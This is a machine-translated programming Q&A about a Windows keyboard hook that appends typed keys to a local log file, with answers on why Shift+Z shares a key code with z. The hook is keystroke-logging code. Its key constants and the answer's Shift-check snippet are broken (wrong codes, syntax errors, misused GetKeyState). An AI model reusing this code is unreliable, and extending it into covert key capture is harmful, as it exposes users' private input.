以下功能是记录“0”,“z”和“1”确定...但它没有捕获“Z”(shift-z)...任何帮助将不胜感激... < / p>
__declspec(dllexport)
LRESULT CALLBACK HookProc (UINT nCode, WPARAM wParam, LPARAM lParam)
{
if ((nCode == HC_ACTION) && (wParam == WM_KEYUP))
{
// This Struct gets infos on typed key
KBDLLHOOKSTRUCT hookstruct = *((KBDLLHOOKSTRUCT*)lParam);
// Bytes written counter for WriteFile()
DWORD Counter;
wchar_t Logger[1];
switch (hookstruct.vkCode)
{
case 060: Logger[0] = L'0'; break;
case 061: Logger[0] = L'1'; break;
case 90: Logger[0] = L'z'; break;
case 116: Logger[0] = L'Z'; break;
}
// Opening of a logfile. Creating it if it does not exists
HANDLE hFile = CreateFile(L"C:\\logfile.txt", GENERIC_WRITE,
FILE_SHARE_READ, NULL,OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
// put the file pointer to the end
SetFilePointer(hFile,NULL,NULL,FILE_END);
// Write the hFile typed in logfile
WriteFile(hFile,&Logger,sizeof(Logger),&Counter,NULL);
//WriteFile(hFile,&hookstruct.vkCode,sizeof(hookstruct.vkCode),&Counter,NULL);
// Close the file
CloseHandle(hFile);
}
}
答案 0 :(得分:10)
键盘不会发送字符。它发送键。无论您是键入 z 还是 Z ,您仍然按下相同的键,并且该键两次都具有相同的VK代码。
按下或释放Shift键时,您也应该收到通知。您可以使用这些通知将击键转换为字符。大写锁定状态也与此相关。你可能也会担心死锁。
您可以检查是否按下了Shift键。 GetAsyncKeyState
将告诉您当前键的状态,GetKeyState
将告诉您从消息队列中删除的最后一条消息的密钥状态。
答案 1 :(得分:6)
Z没有虚拟密钥代码。 尝试这样的事情:
case 90:
if(GetKeyState(VK_LSHIFT|VK_RSHIFT)
Logger[0] = L'Z'; break;
else
Logger[0] = L'z'; break;